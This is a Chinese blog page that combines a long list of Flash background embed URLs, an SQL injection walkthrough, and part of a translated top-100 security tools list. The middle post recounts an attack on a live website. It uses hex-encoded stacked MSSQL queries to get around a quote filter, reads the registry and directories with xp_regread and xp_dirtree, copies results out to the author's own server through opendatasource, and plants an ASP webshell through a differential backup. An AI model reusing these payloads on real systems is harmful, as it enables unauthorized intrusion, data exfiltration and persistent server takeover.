冰血封心's profile冰血封心'Blog BlogListsGuestbookMore Tools Help

Blog


    博客背景代码

    博客背景代码

     

    在文中加入透明Flash背景代码:
    <embed src="http://imgfree.21cn.com/free/flash/3.swf"; width="800" height="600" quality="high" wmode="transparent" align="center" style="position: absolute; left:0; top:0">
    其中,<embed src="Flash地址" width="宽度" height="高度left: 为从左向右移的位置,top: 为从上向下移的位置 .
    其中蓝色地址可以换成你喜欢的图片地址
    下面提供代码:
    博客flash代码|博客透明Flash背景代码大全
    http://imgfree.21cn.com/free/flash/1.swf红浅绿色背景亮色竖条
    http://imgfree.21cn.com/free/flash/3.swf光球光芒时隐时
    http://imgfree.21cn.com/free/flash/4.swf米字星光
    http://imgfree.21cn.com/free/flash/5.swf灰色背景米字星光
    http://imgfree.21cn.com/free/flash/6.swf灰蓝背景飘落雨滴
    http://imgfree.21cn.com/free/flash/7.swf黄色背景飞星闪闪
    http://imgfree.21cn.com/free/flash/8.swf青蛙
    http://imgfree.21cn.com/free/flash/9.swf蓝色蝴蝶
    http://imgfree.21cn.com/free/flash/10.swf竖条箭头
    http://imgfree.21cn.com/free/flash/11.swf宽窄竖条
    http://imgfree.21cn.com/free/flash/12.swf左右晃动的竖条
    http://imgfree.21cn.com/free/flash/13.swf黑色背景旋转轮盘
    http://imgfree.21cn.com/free/flash/14.swf蝌蚪旋转、随鼠标的白色光团
    http://imgfree.21cn.com/free/flash/15.swf黑色背景绿色飘带幻影
    http://imgfree.21cn.com/free/flash/16.swf黑色背景飞星闪闪
    http://imgfree.21cn.com/free/flash/17.swf金鱼
    http://imgfree.21cn.com/free/flash/18.swf蓝色背景水平飞镖
    http://imgfree.21cn.com/free/flash/19.swf左右晃动的竖条
    http://imgfree.21cn.com/free/flash/20.swf黑色背景水平闪动的横条
    http://imgfree.21cn.com/free/flash/21.swf黑色背景光晕
    http://imgfree.21cn.com/free/flash/22.swf光圈由小变大
    http://imgfree.21cn.com/free/flash/23.swf蓝色背景雪花飘飘
    http://imgfree.21cn.com/free/flash/24.swf左右闪动的竖条
    http://imgfree.21cn.com/free/flash/25.swf三只黑蚂蚁
    http://imgfree.21cn.com/free/flash/26.swf左右晃动的黄、绿、蓝竖线
    http://imgfree.21cn.com/free/flash/27.swf无色背景水珠
    http://imgfree.21cn.com/free/flash/28.swf黑色背景竖条
    http://imgfree.21cn.com/free/flash/29.swf圆圈内海浪波动
    http://imgfree.21cn.com/free/flash/30.swf黑色背景蓝色梦幻
    http://imgfree.21cn.com/free/flash/30.swf黑色背景蓝色梦幻
    http://imgfree.21cn.com/free/flash/31.swf黑色背景无数小亮点飘落
    http://imgfree.21cn.com/free/flash/32.swf长发女孩
    http://imgfree.21cn.com/free/flash/33.swf粉黄色5瓣花飘飘
    http://imgfree.21cn.com/free/flash/34.swf
    http://imgfree.21cn.com/free/flash/35.swf小星、大星光晕梦幻
    http://imgfree.21cn.com/free/flash/35.swf紫色唇印升腾
    http://imgfree.21cn.com/free/flash/36.swf上下闪动的横条
    http://imgfree.21cn.com/free/flash/37.swf绿色、黄色的树叶飞舞
    http://imgfree.21cn.com/free/flash/38.swf流星飞降
    http://imgfree.21cn.com/free/flash/39.swf小+字旋转大光圈
    http://imgfree.21cn.com/free/flash/40.swf大、小八瓣雪花飘落
    http://imgfree.21cn.com/free/flash/41.swf紫色背景大、小八瓣雪花飘落
    http://imgfree.21cn.com/free/flash/42.swf空中飘动的黄球
    http://imgfree.21cn.com/free/flash/43.swf
    http://imgfree.21cn.com/free/flash/44.swf
    http://imgfree.21cn.com/free/flash/45.swf两只黄色的蝴蝶在左上角飞舞
    http://imgfree.21cn.com/free/flash/46.swf一片浅粉色的云团
    http://imgfree.21cn.com/free/flash/47.swf 箭头左右穿梭
    http://imgfree.21cn.com/free/flash/48.swf一个光球从右上方慢慢飞入
    http://imgfree.21cn.com/free/flash/49.swf飘落的浅粉色花瓣
    http://imgfree.21cn.com/free/flash/50.swf晃动的文字“sweet kiss day”
    http://imgfree.21cn.com/free/flash/51.swf三只飞舞的蜻蜓、闪闪的星光
    http://imgfree.21cn.com/free/flash/52.swf黑色背景飘落的红叶
    http://imgfree.21cn.com/free/flash/53.swf雪糕降落
    http://imgfree.21cn.com/free/flash/54.swf绿色的心和I love you垂直降落
    http://imgfree.21cn.com/free/flash/55.swf两只跳跃的青蛙
    http://imgfree.21cn.com/free/flash/56.swf六边形、降落的竖条
    http://imgfree.21cn.com/free/flash/57.swf燕鱼和水泡
    http://imgfree.21cn.com/free/flash/58.swf光晕、光圈
    http://imgfree.21cn.com/free/flash/59.swf蓝色背景飞翔的海鸥
    http://imgfree.21cn.com/free/flash/60.swf黑色背景降落的萤火虫
    http://imgfree.21cn.com/free/flash/61.swf飞腾的红心
    http://imgfree.21cn.com/free/flash/62.swf五彩礼花燃放
    http://imgfree.21cn.com/free/flash/63.swf黄色的四瓣花飘落
    http://imgfree.21cn.com/free/flash/64.swf浅蓝色的雪花在空中,小雪花降落
    http://imgfree.21cn.com/free/flash/65.swf飘落的空心小兰圈
    http://imgfree.21cn.com/free/flash/66.swf一只手的图形
    http://imgfree.21cn.com/free/flash/67.swf由远而近飞来的流星
    http://imgfree.21cn.com/free/flash/68.swf黑色背景飘落的雪花
    http://imgfree.21cn.com/free/flash/69.swf七彩光光芒四射(全屏)
    http://imgfree.21cn.com/free/flash/70.swf七彩光光芒四射(全屏)
    http://imgfree.21cn.com/free/flash/71.swf闪动的小竖条
    http://imgfree.21cn.com/free/flash/72.swf一只和平鸽展翅飞舞
    http://imgfree.21cn.com/free/flash/73.swf蓝色背景蓝色气泡慢慢升空
    http://imgfree.21cn.com/free/flash/74.swf白色背景浅蓝色的气泡慢慢升空
    http://imgfree.21cn.com/free/flash/75.swf跟随鼠标游动的七彩光圈
    http://imgfree.21cn.com/free/flash/76.swf 线条变形
    http://imgfree.21cn.com/free/flash/77.swf蓝色旋转
    http://imgfree.21cn.com/free/flash/78.swf跟随鼠标旋转的数字时钟
    http://imgfree.21cn.com/free/flash/79.swf鼠标滑过方块图形变换
    http://imgfree.21cn.com/free/flash/80.swf跟随鼠标的“欢迎下载”及七彩星
    http://imgfree.21cn.com/free/flash/81.swf跟随鼠标的火苗
    http://imgfree.21cn.com/free/flash/82.swf雪花旋舞
    http://imgfree.21cn.com/free/flash/83.swf蓝色背景蓝色气泡升腾
    http://imgfree.21cn.com/free/flash/84.swf闪动的白色圆圈
    http://imgfree.21cn.com/free/flash/85.swf浅蓝色的纸片旋入
    http://imgfree.21cn.com/free/flash/86.swf绿色的指针旋转
    http://imgfree.21cn.com/free/flash/87.swf跟随鼠标移动的黄色小球
    http://imgfree.21cn.com/free/flash/88.swf七彩礼花开放
    http://imgfree.21cn.com/free/flash/89.swf金光闪闪(中间到四周)
    http://imgfree.21cn.com/free/flash/90.swf立方体折叠
    http://imgfree.21cn.com/free/flash/91.swf浅蓝色的纸片旋入
    http://imgfree.21cn.com/free/flash/92.swf飘舞的七彩丝线
    http://imgfree.21cn.com/free/flash/93.swf闪电效果
    http://imgfree.21cn.com/free/flash/94.swf扇形旋转七彩光圈
    http://imgfree.21cn.com/free/flash/95.swf 七彩光8字形旋转
    http://imgfree.21cn.com/free/flash/96.swf小球和旋钮、光晕
    http://imgfree.21cn.com/free/flash/97.swf旋转的花瓣、蝴蝶随鼠标飞舞
    http://imgfree.21cn.com/free/flash/98.swf飞旋的七彩光
    http://imgfree.21cn.com/free/flash/99.swf白色旋转的花瓣变形
    http://imgfree.21cn.com/free/flash/100.swf蓝宝石七彩闪光
    http://imgfree.21cn.com/free/flash/101.swf黄色4瓣花飘落
    http://imgfree.21cn.com/free/flash/102.swf蓝色的球从页面左侧飞入
    http://imgfree.21cn.com/free/flash/103.swf从空中滴落的一个大雨滴
    http://imgfree.21cn.com/free/flash/104.swf左右飞入两个箭头、3个圆圈旋转
    http://imgfree.21cn.com/free/flash/105.swf由中心向外扩展的闪电光圈
    http://imgfree.21cn.com/free/flash/106.swf从下向上飞入的箭头,闪光
    http://imgfree.21cn.com/free/flash/107.swf一只大眼睛黄色蝴蝶
    http://imgfree.21cn.com/free/flash/108.swf旋舞的3个半透明圆圈
    http://imgfree.21cn.com/free/flash/109.swf从左至右的箭头
    http://imgfree.21cn.com/free/flash/110.swf从右向左的粉红色箭头
    http://imgfree.21cn.com/free/flash/111.swf左、右飞入的透明箭头
    http://imgfree.21cn.com/free/flash/112.swf右下方向左上方的箭头
    http://imgfree.21cn.com/free/flash/113.swf粉红色的花瓣飘落
    http://imgfree.21cn.com/free/flash/114.swf粉红色的大箭头
    http://imgfree.21cn.com/free/flash/115.swf跟随鼠标游动的浅蓝色的鱼
    http://imgfree.21cn.com/free/flash/116.swf闪动的横条
    http://imgfree.21cn.com/free/flash/117.swf白色光圈和飘舞的丝带*
    http://imgfree.21cn.com/free/flash/118.swf
    http://imgfree.21cn.com/free/flash/119.swf旋转的风车和黄色光圈
    http://imgfree.21cn.com/free/flash/120.swf旋转梦幻
    http://imgfree.21cn.com/free/flash/121.swf飘落的白蝴蝶?
    http://imgfree.21cn.com/free/flash/122.swf上下飞动的绿色小横条
    http://imgfree.21cn.com/free/flash/123.swf透明的气泡升腾
    http://imgfree.21cn.com/free/flash/124.swf闪动的白色大光圈
    http://imgfree.21cn.com/free/flash/125.swf闪动的白色圆圈
    http://imgfree.21cn.com/free/flash/126.swf旋转的大立方体
    http://imgfree.21cn.com/free/flash/127.swf 圆圈、箭头
    http://imgfree.21cn.com/free/flash/128.swf黑色的人影
    http://imgfree.21cn.com/free/flash/129.swf下雨了
    http://imgfree.21cn.com/free/flash/130.swf鼠标滑过,雪花飘飘
    http://imgfree.21cn.com/free/flash/131.swf绿色的枫叶飘落
    http://imgfree.21cn.com/free/flash/132.swf鼠标滑过、圆球线条变形
    http://imgfree.21cn.com/free/flash/133.swf按折线飞入的一个小蝌蚪流星
    http://imgfree.21cn.com/free/flash/134.swf一个橘黄色的小球在空中飞舞
    http://imgfree.21cn.com/free/flash/135.swf旋转的闪亮蝌蚪符号
    http://imgfree.21cn.com/free/flash/136.swf 很多旋转的红色4角星
    http://imgfree.21cn.com/free/flash/137.swf水平移动的风
    http://imgfree.21cn.com/free/flash/138.swf萤火虫
    http://www.nice.or.jp/~mosmos/free/f703.swf在救生圈上的女孩
    http://www.nice.or.jp/~mosmos/free/f903.swf 城堡
    http://www.nice.or.jp/~mosmos/nice_topic/hinamaturi.swf两个蛋壳娃娃随鼠标变换表情
    http://www.nice.or.jp/~mosmos/nice_topic/hakucho.swf一只白天鹅随鼠标抬头低头
    http://www.nice.or.jp/~mosmos/free/f110.swf蝴蝶女孩
    http://www.nice.or.jp/~mosmos/free/f111.swf捉树叶的女孩
    http://www.nice.or.jp/~mosmos/free/f105.swf随风摆动的野草
    http://www.nice.or.jp/~mosmos/free/f102.swf圆桌上的一杯茶水热气腾腾
    http://www.nice.or.jp/~mosmos/free/f101.swf城堡星空
    http://www.nice.or.jp/~mosmos/free/f601.swf骑自行车的女孩
    http://zqbbs.netsh.com/usr/12/12_191_15.swf荷叶、荷花、金鱼*
    http://zqbbs.netsh.com/usr/12/12_191_17.swf古诗,鱼随鼠标游
    http://hiro003.cool.ne.jp/iptrace_cgi/set/xmas7/fx_rtree1.swf圣诞快乐


    http://wanruo.jahee.com/jpsc/flash2/053.swf粉红色的花瓣飘落



    http://zqbbs.netsh.com/usr/12/12_631_14.swf粉黄色的6瓣花飞舞



    http://www.forshine.net/flash/71.swf绿色黄色树叶飘舞



    http://wanruo.jahee.com/jpsc/flash2/057.swf圆圈,飘带



    http://mailimg-fs.hanmail.net/fl/effect/19/e-fall2.swf黑色背景,红叶飘舞*



    http://display.lizhimi.com/IMAGES/Bird.swf



    http://bbs.flasher123.com/UploadFile/2004-5/200451020535773219.swf一只白鹤飞舞



    http://display.lizhimi.com/IMAGES/Bird.swf



    http://www.forshine.net/flash/32.swf圆圈幻影



    http://wanruo.jahee.com/jpsc/flash/25.swf大小圆圈



    http://file2.flash8.net/2004up/fla/6/1/200461153578559.swf无色背景粉色的金鱼*



    http://wanruo.jahee.com/jpsc/flash/11.swf



    http://hlm.nease.net/swf/red/liu.swf柳条飘舞*



    http://www.flash8.net/upload/2004/2/29/20042291313205540.swf七彩闪光星星



    http://file2.flash8.net/2004up/fla/8/3/2004831139337831.swf闪光的礼花



    http://zqbbs.netsh.com/usr/12/12_631_14.swf灰色背景小花瓣



    http://www.forshine.net/flash/71.swf白色背景小绿叶



    http://wanruo.jahee.com/jpsc/flash2/057.swf黑色背景白色飘带



    http://imgfree.21cn.com/free/flash/16.swf 黄色背景飞舞的白色小星星



    http://mailimg-fs.hanmail.net/fl/effect/19/e-fall2.swf黄色背景飘舞的红叶



    http://display.lizhimi.com/IMAGES/Bird.swf蓝色背景海鸥



    http://bbs.flasher123.com/UploadFile/2004-5/200451020535773219.swf白色背景大雁飞过



    http://imgfree.21cn.com/free/flash/51.swf黑色背景飞行的蜻蜓



    http://imgfree.21cn.com/free/flash/59.swf浅兰背景白色大雁飞过



    http://display.lizhimi.com/IMAGES/Bird.swf浅兰背景鸟飞过



    http://www.forshine.net/flash/32.swf黑色背景白色球圈



    http://wanruo.jahee.com/jpsc/flash/25.swf黑色背景很大的水圈



    http://file2.flash8.net/2004up/fla/6/1/200461153578559.swf白色背景金鱼



    http://wanruo.jahee.com/jpsc/flash/11.swf黄色背景飞舞的星光



    http://www.flash8.net/upload/2004/2/29/20042291313205540.swf黑色背景多彩的星光



    http://file2.flash8.net/2004up/fla/8/3/2004831139337831.swf黑色背景礼花



    http://www.syndanet.com/public/upload/wjl210.swf 蜻蜓

    更多下载

    http://sucai.heima.com/sucai/news/flash/1.swf
    http://sucai.heima.com/sucai/news/flash/2.swf
    http://sucai.heima.com/sucai/news/flash/3.swf
    http://sucai.heima.com/sucai/news/flash/4.swf
    http://sucai.heima.com/sucai/news/flash/5.swf
    http://sucai.heima.com/sucai/news/flash/6.swf
    http://sucai.heima.com/sucai/news/flash/7.swf
    http://sucai.heima.com/sucai/news/flash/8.swf
    http://sucai.heima.com/sucai/news/flash/9.swf
    http://sucai.heima.com/sucai/news/flash/10.swf
    http://sucai.heima.com/sucai/news/flash/11.swf
    http://sucai.heima.com/sucai/news/flash/12.swf
    http://sucai.heima.com/sucai/news/flash/13.swf
    http://sucai.heima.com/sucai/news/flash/14.swf
    http://sucai.heima.com/sucai/news/flash/15.swf
    http://sucai.heima.com/sucai/news/flash/16.swf
    http://sucai.heima.com/sucai/news/flash/17.swf
    http://sucai.heima.com/sucai/news/flash/18.swf
    http://sucai.heima.com/sucai/news/flash/19.swf
    http://sucai.heima.com/sucai/news/flash/20.swf
    http://sucai.heima.com/sucai/news/flash/21.swf
    http://sucai.heima.com/sucai/news/flash/22.swf
    http://sucai.heima.com/sucai/news/flash/23.swf
    http://sucai.heima.com/sucai/news/flash/24.swf
    http://sucai.heima.com/sucai/news/flash/25.swf
    http://sucai.heima.com/sucai/news/flash/26.swf
    http://sucai.heima.com/sucai/news/flash/27.swf
    http://sucai.heima.com/sucai/news/flash/28.swf
    http://sucai.heima.com/sucai/news/flash/29.swf
    http://sucai.heima.com/sucai/news/flash/30.swf
    http://sucai.heima.com/sucai/news/flash/31.swf
    http://sucai.heima.com/sucai/news/flash/32.swf
    http://sucai.heima.com/sucai/news/flash/33.swf
    http://sucai.heima.com/sucai/news/flash/34.swf
    http://sucai.heima.com/sucai/news/flash/35.swf
    http://sucai.heima.com/sucai/news/flash/36.swf
    http://sucai.heima.com/sucai/news/flash/37.swf
    http://sucai.heima.com/sucai/news/flash/38.swf
    http://sucai.heima.com/sucai/news/flash/39.swf
    http://sucai.heima.com/sucai/news/flash/40.swf
    http://sucai.heima.com/sucai/news/flash/41.swf
    http://sucai.heima.com/sucai/news/flash/42.swf
    http://sucai.heima.com/sucai/news/flash/43.swf
    http://sucai.heima.com/sucai/news/flash/44.swf
    http://sucai.heima.com/sucai/news/flash/45.swf
    http://sucai.heima.com/sucai/news/flash/46.swf
    http://sucai.heima.com/sucai/news/flash/47.swf
    http://sucai.heima.com/sucai/news/flash/48.swf
    http://sucai.heima.com/sucai/news/flash/49.swf
    http://sucai.heima.com/sucai/news/flash/50.swf
    http://sucai.heima.com/sucai/news/flash/51.swf
    http://sucai.heima.com/sucai/news/flash/52.swf
    http://sucai.heima.com/sucai/news/flash/53.swf
    http://sucai.heima.com/sucai/news/flash/54.swf
    http://sucai.heima.com/sucai/news/flash/55.swf
    http://sucai.heima.com/sucai/news/flash/56.swf
    http://sucai.heima.com/sucai/news/flash/57.swf
    http://sucai.heima.com/sucai/news/flash/58.swf
    http://sucai.heima.com/sucai/news/flash/59.swf
    http://sucai.heima.com/sucai/news/flash/60.swf
    http://sucai.heima.com/sucai/news/flash/61.swf
    http://sucai.heima.com/sucai/news/flash/62.swf
    http://sucai.heima.com/sucai/news/flash/63.swf
    http://sucai.heima.com/sucai/news/flash/64.swf
    http://sucai.heima.com/sucai/news/flash/65.swf
    http://sucai.heima.com/sucai/news/flash/66.swf
    http://sucai.heima.com/sucai/news/flash/67.swf
    http://sucai.heima.com/sucai/news/flash/68.swf
    http://sucai.heima.com/sucai/news/flash/69.swf
    http://sucai.heima.com/sucai/news/flash/70.swf
    http://sucai.heima.com/sucai/news/flash/71.swf
    http://sucai.heima.com/sucai/news/flash/72.swf
    http://sucai.heima.com/sucai/news/flash/73.swf
    http://sucai.heima.com/sucai/news/flash/74.swf
    http://sucai.heima.com/sucai/news/flash/75.swf
    http://sucai.heima.com/sucai/news/flash/76.swf
    http://sucai.heima.com/sucai/news/flash/77.swf
    http://sucai.heima.com/sucai/news/flash/78.swf
    http://sucai.heima.com/sucai/news/flash/79.swf
    http://sucai.heima.com/sucai/news/flash/80.swf
    http://sucai.heima.com/sucai/news/flash/81.swf
    http://sucai.heima.com/sucai/news/flash/82.swf
    http://sucai.heima.com/sucai/news/flash/83.swf
    http://sucai.heima.com/sucai/news/flash/84.swf
    http://sucai.heima.com/sucai/news/flash/85.swf
    http://sucai.heima.com/sucai/news/flash/86.swf
    http://sucai.heima.com/sucai/news/flash/87.swf
    http://sucai.heima.com/sucai/news/flash/88.swf
    http://sucai.heima.com/sucai/news/flash/89.swf
    http://sucai.heima.com/sucai/news/flash/90.swf

    SQL注入高级技巧nowthk篇

    我的目的主要是取得网站的目录,当然了,网站和mssql数据库在一台服务器上,权限DB_owner。

      在某官网发现了一个注点,一个’号提示"xxxxxxxxxx’0’’出现错误 " ,经过初步的分析是把单引号,直接转换成了0’,所以如果用工具肯定注入不了,实践证明工具不行,但能检测出来其权限为:DB_owner,手工检测的方法无非是: and 1= (select is_isvrolemember(’sysadmin’))这是简单检测系统权限。还好只是对单引号有限制,其它符号没有限制。不过这一点确实已经够麻烦的了。

      我们的目的是检测网站目录在什么地方,如果找到的话,直接差异备份数据库,取得webshell。

      首先提取IIS设置初期,网站目录在注册表中的位置,然后再暴出来。

      建一个表xy,;create table xy(xy1 nvarchar(256) null),然后网表里插入其值,语句如下:

    ;DECLARE @result varchar(255) EXEC master.dbo.xp_regread ’HKEY_LOCAL_MACHINE’,’SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots’,’/’,@result output insert into xy (xy1) values(@result)

      由于对’单引号的转换,所以上面的命令肯定成功不了,这时我们可以想到再用declare函数,一开始我的做法为把 ’HKEY_LOCAL_MACHINE’和
    ’SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots’和’/’,这3个数据分别附于3个变量,这样语句构成为:

    ;DECLARE @a varchar(255) select @a=0x484b45595f4c4f43414c5f4d414348494e45 DECLARE @b varchar(255) select @b=0x53595354454d5c434f4e54524f4c5365743030315c53657276696365735c57335356435c506172616d65746572735c5669727475616c20526f6f7473 DECLARE @c varchar(255) select @c=0x2f DECLARE @result varchar(255) exec master.dbo.xp_regread @a,@b,@c,@result output insert xy(xy1) values(@result)--

      没想到根本成功不了,我不清楚这个原因,然后去百度搜索原因,在邪恶八讨论区里看到无敌遇到的情况根我一样,至今还没有讨论出来结果,于是这种方法暂时先放一放,2天以后再得到了一种新方法,也是用declare于一个变量附值,不过这时附的不是某一数据,而是整句。

    方法如下:

    DECLARE @result varchar(255) EXEC master.dbo.xp_regread ’HKEY_LOCAL_MACHINE’,’SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots’,’/’,@result output insert into xy (xy1) values(@result)

      全转换为16进制为:

    0x4400450043004C004100520045002000400072006500730075006C00740020007600610072006300680061007200280032003500350029002000450058004500430020006D00610073007400650072002E00640062006F002E00780070005F0072006500670072006500610064002000270048004B00450059005F004C004F00430041004C005F004D0041004300480049004E00450027002C002700530059005300540045004D005C0043006F006E00740072006F006C005300650074003000300031005C00530065007200760069006300650073005C00570033005300560043005C0050006100720061006D00650074006500720073005C005600690072007400750061006C00200052006F006F007400730027002C0027002F0027002C00400072006500730075006C00740020006F0075007400700075007400200069006E007300650072007400200069006E0074006F002000780079002000280078007900310029002000760061006C007500650073002800400072006500730075006C0074002900

    这时用DECLARE @S NVARCHAR(4000);SET @S=CAST (0x4400450043004C004100520045002000400072006500730075006C00740020007600610072006300680061007200280032003500350029002000450058004500430020006D00610073007400650072002E00640062006F002E00780070005F0072006500670072006500610064002000270048004B00450059005F004C004F00430041004C005F004D0041004300480049004E00450027002C002700530059005300540045004D005C0043006F006E00740072006F006C005300650074003000300031005C00530065007200760069006300650073005C00570033005300560043005C0050006100720061006D00650074006500720073005C005600690072007400750061006C00200052006F006F007400730027002C0027002F0027002C00400072006500730075006C00740020006F0075007400700075007400200069006E007300650072007400200069006E0074006F002000780079002000280078007900310029002000760061006C007500650073002800400072006500730075006C0074002900 AS NVARCHAR(4000));EXEC(@S)

    直接执行成功,呵呵,反正没有用到单引号,这种方法是现在所能想出来的了,也算一点点小小的突破吧。

      把上述语句直接在浏览器里提交,返回正常的页面,然后用and 1=(selet top 1 xy1 from xy)成功暴出了网站的目录为d:\ wwwfuck\,哈哈,怀着侥幸的心理直接在此目录下差异备份数据库,失败!结论:1、语句没有错误 2、目录有问题。

      于是现在猜一把,就猜网站目录在D盘,那么唯一可行的办法就是一个一个暴目录啊~,郁闷,极其麻烦的事情又要来临了!

      我比较懒,随后想到的就是sql里的opendatasource命令,我机器装有sql,IP为211.11.11.11,我想把远程执行sql返回的结果直接插到我自己机器sql所建的表中,所以这样比较轻松,为了证明是否成功,我先建一个表为ku(id nvarchar(255)),然后远程提交的格式为:

    insert into opendatasource(’sqloledb’,’server=211.11.11.11;uid=sa;pwd=fuck!!;database=test’).test.dbo.ku select name from master.dbo.sysdatabases

      其中test为我自己的库,ku为test库中的表名 如果成功的话,在本地打开ku表,上述语句就会列出远程服务器中所有的库的名称。

      上面的语句有单引号,我们直接转换为16进制,转换后用如下语句提交即可:

    ;DECLARE @S NVARCHAR(4000);SET @S=CAST(0x69006E007300650072007400200069006E0074006F0020006F00700065006E0064006

    1007400610073006F00750072006300650028002700730071006C006F006C00650064006

    20027002C0027007300650072007600650072003D003200310031002E00310031002E003

    10031002E00310031003B007500690064003D00730061003B007000770064003D0066007

    50063006B00210021003B00640061007400610062006100730065003D007400650073007

    400270029002E0074006500730074002E00640062006F002E006B0075002000730065006

    C0065006300740020006E0061006D0065002000660072006F006D0020006D00610073007

    400650072002E00640062006F002E007300790073006400610074006100620061007300

    65007300 AS NVARCHAR(4000));EXEC(@S);

    直接打开本地数据库test中的ku表,嘿嘿,成功列出了远程所有数据库的名称。

      下面来返回服务器上D盘下的目录,嘿嘿,为了求速度,我只列一级目录。

      建一个表;create table temp(id nvarchar(255),num1 nvarchar(255))--成功

      往表里插入所有各级数目录(一级目录为D盘根目录,二级就是下一层,三级依次类推),语句:;insert into temp(id,num1) exec master.dbo.xp_dirtree ’D:\’,有单引号,上面的语句肯定不成功,肯定要用declare附值变量,好了,我直接写语句:

    DECLARE @S NVARCHAR(4000);SET @S=CAST

    (0x69006E007300650072007400200069006E0074006F00200074

    0065006D0070002800690064002C006E0075006D00310029002000

    650078006500630020006D00610073007400650072002E00640062

    006F002E00780070005F0064006900720074007200650065002000

    270044003A005C002700 AS NVARCHAR(4000));EXEC(@S);

      那么现在temp表中,已经有了所有D盘的目录了,其中num1=1为一级目录,num1=2为二级..等等。

      好了,我把temp表中一级目录返回到本地吧

      本地建表mulu(name char(255)),远程语句:

    insert into opendatasource(’sqloledb’,’
    server=211.11.11.11;uid=sa;pwd=fuck!!
    ;database=test’).test.dbo.mulu select
    id from temp where num1=1

      转成16进制declare附变量提交,我日~~经过漫长由如死机的时间,失败了。。。弄不清楚原因,有知道的请联系我。

      既然懒的方法不行,算了,就勤快一些吧!郁闷!

      上述的temp远程表中还有目录名呢,太乱,在远程直接建个新表:;create talbe temp1(id nvarchar(4000))-- 然后把temp表中一级目录名称插到这里来,语句:;insert into temp1(id) select id from temp where num1=1--

      然后再暴: and 1=(select top 1 id from temp1 where id=1),提示:xxxxxxxxxxxx’MUbak’转换为int.....等出错等信息,我是不是很懒,连出错信息都不复制?明白就行了。

    暴下一个目录不可能用 and 1=(select top 1 id from temp1 where id not in(’MUbak’))吧?因为里面有单引号呀,不是上面说可以用declare吗?错!这是暴,可不是执行命令呀,不要弄错!

      抽了一根烟,想了想,还有一个办法,再把temp1的目录一层一层地扒下来,把他们传递给temp2表,呵呵,肯定要先建表了;create table temp2(id char(255))--。

      先想明白语句,我把temp1的id下所有的名称,给于temp2,而且不包括’MUbak’目录,那么语句应该是:

    insert into temp2(id) select id from temp1 where id not in(’MUbak’)

      呵呵,有单引号,declare!!!,上面语句转16进制。

      语句为:
    DECLARE @S NVARCHAR(4000);SET @S=CAST(0x69006E007300650072007400200069006E0074006F002000740065006D007000320028006900640029002000730065006C006500630074002000690064002000660072006F006D002000740065006D007000310020007700680065007200650020006900640020006E006F007400200069006E00280027004D005500620061006B0027002900 AS NVARCHAR(4000));EXEC(@S);

      这时,我在temp2暴表:and 1=(select top 1 id from temp2),提示xxxxxxxxxxxx’wwwbak’转换为int.....等出错等信息。。呵呵,又一个目录出来了。

      然后删表temp2表,建temp3表,用上面的访法循环暴出下一个目录。

      可能有人问,为什么要建temp3表,直接删掉temp2,然后再建temp2再用呀,不过经验认为,这里最好新建一个,本人认为是缓存的原因,否则一直用老表,暴错的信息为同一个。。。。

      好了,经过漫长的时间,终于找出了网站的目录为D:\web\www\,下来备份呗。

    ;create table riri(ri char(255))--

    ;insert into riri (ri) values(0x3C25657865637574652872657175657374282261222929253E)-- ’0x3C25657865637574652872657175657374282261222929253E" 为<%execute request("a")%>

    ;declare @a sysname,@s varchar(4000) select @a=db_name(),@s=0x443a5c7765625c7777775c312e617370 backup database @a to disk =@s WITH DIFFERENTIAL,FORMAT ’0x443a5c7765625c7777775c312e617370 为D:\web\www\1.asp

      这时成功得在网站目录备分了一个1.asp,访问www.xxx.com/1.asp 出现’execute’错误,呵呵,一个webshell到手了。看得很麻烦吧,如果有人做出工具来了就简单多了,否则累死你~~

    2007年100款最佳安全工具谱

    在2000和2003年非常成功的推出了安全工具调查后,Insecure.Org 非常高兴为大家带来2006年度的安全工具调查。我-Fyodor对nmap-hackers 邮件列表中的用户进行了调查,让大家来分享他们最喜欢用的工具,结果有3243名用户提供了反馈信息。我从反馈信息中选取了大家最喜欢的前100种工具,并将它们进行了分类。建议安全界人士仔细阅读这份列表,并对不熟悉或未听说过的工具进行研究,相信会有很大帮助。我自己就从中发现了很多以前没有使用过但非常好用的工具。当很多菜鸟问我“我不知道当一个黑客该从何开始”时,我就让他们来读读这篇文章。

    受访者被要求列出各种平台上的开源和商业工具。商业工具会在列表中进行标注。Nmap Security Scanner 没有参与投票,因为调查是在Nmap的邮件列表中进行的。因为受访者多为黑客的原因,所以此列表中攻击型的工具偏多一些,防守型的则少一些。

    列表中每个工具都含有以下一种或几种属性:2003年调查列表中未出现的工具;相对于2003年调查列表排名升或降;需要花钱购买。但可以免费获得限制、演示、试用版本软件;可以工作于Linux平台之上;可以工作于OpenBSD、FreeBSD、Solaris 或其它UNIX平台之上;可以工作于苹果Mac OS X平台之上;可以工作于微软Windows平台之上;提供命令行操作方式;提供图形化用户界面;在互联网上可以找到源代码。

    如果您发现列表中的工具有更新或者有其它建议--或者有更好的工具图标 可以发送邮件给我。如果您的工具入选此列表了,或者您认为您网站的访客也许会对此列表感兴趣,欢迎您通过link banners把本文链接到您网站上。以下开始为正式列表,按受欢迎程度降序排列:

    #1 Nessus:最好的UNIX漏洞扫描工具
    Nessus 是最好的免费网络漏洞扫描器,它可以运行于几乎所有的UNIX平台之上。它不止永久升级,还免费提供多达11000种插件(但需要注册并接受EULA-acceptance--终端用户授权协议)。它的主要功能是远程或本地(已授权的)安全检查,客户端/服务器架构,GTK(Linux下的一种图形界面)图形界面,内置脚本语言编译器,可以用其编写自定义插件,或用来阅读别人写的插件。Nessus 3 已经开发完成(now closed source),其现阶段仍然免费,除非您想获得最新的插件。

    --------------------------------------------------------------------------------

    #2 Wireshark:网络嗅探工具
    Wireshark (2006年夏天之前叫做 Ethereal)是一款非常棒的Unix和Windows上的开源网络协议分析器。它可以实时检测网络通讯数据,也可以检测其抓取的网络通讯数据快照文件。可以通过图形界面浏览这些数据,可以查看网络通讯数据包中每一层的详细内容。Wireshark拥有许多强大的特性:包含有强显示过滤器语言(rich display filter language)和查看TCP会话重构流的能力;它更支持上百种协议和媒体类型; 拥有一个类似tcpdump(一个Linux下的网络协议分析工具)的名为tethereal的的命令行版本。不得不说一句,Ethereal已经饱受许多可远程利用的漏洞折磨,所以请经常对其进行升级,并在不安全网络或敌方网络(例如安全会议的网络)中谨慎使用之。

    --------------------------------------------------------------------------------

    #3 Snort:一款广受欢迎的开源IDS(Intrusion Detection System)(入侵检测系统)工具
